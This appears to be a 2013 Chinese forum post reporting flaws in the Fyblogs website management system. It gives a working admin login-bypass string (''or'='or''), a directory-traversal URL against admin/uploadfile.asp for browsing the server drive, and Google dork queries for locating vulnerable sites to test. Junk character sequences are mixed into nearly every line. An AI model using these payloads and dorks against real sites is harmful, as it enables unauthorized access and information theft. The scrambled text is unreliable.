漏洞类型： 未授权访问/权限绕过0 y# o+ ~, z9 J0 ^3 m$ L) s6 A8 h
4 v- e8 d5 l1 I k2 z7 Y简要描述：2 a$ {, n. m L# L. x/ b4 B
7 c& U' v4 J. H; S( p& f4 l
Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！3 q4 j" s6 P; A' p' U" O/ R0 V
2 f$ K$ ~% _$ @% a7 @0 S. J详细说明：& H2 M2 K3 o. d# e& v) S
* r. X% B9 O0 ^/ J/ ]9 z后台万能密码 'or'='or': }7 _* e7 k1 }( O& \* {8 o
后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
* l4 S1 @" Z1 e- z+ |5 radmin/uploadfile.asp?currentFolder=/upfiles/../
1 R! K, h; G2 m) s3 S5 g N3 V/ m( R$ K* \: ^1 \+ s$ y
漏洞证明：# K. l& B7 f' I1 ]% v
% M/ c0 ^& a2 r I谷歌：inurl:type.asp?id=1 新闻中心 a- K- `1 c( s/ f# I: c
或者 ：inurl:download_ok.asp?
' G% U( Y& n6 v i/ p4 N
% ~6 Y4 ^, B3 n0 c; H: ` I可以测试, n5 m. r' @9 }! F4 `; F- d
/ ?7 ~5 B4 l. q* y: g3 r; v+ f
" A, o4 g( G4 e/ a. ~1 [. N) V2 p |
发表于 2013-3-7 13:07:46
收藏
支持
反对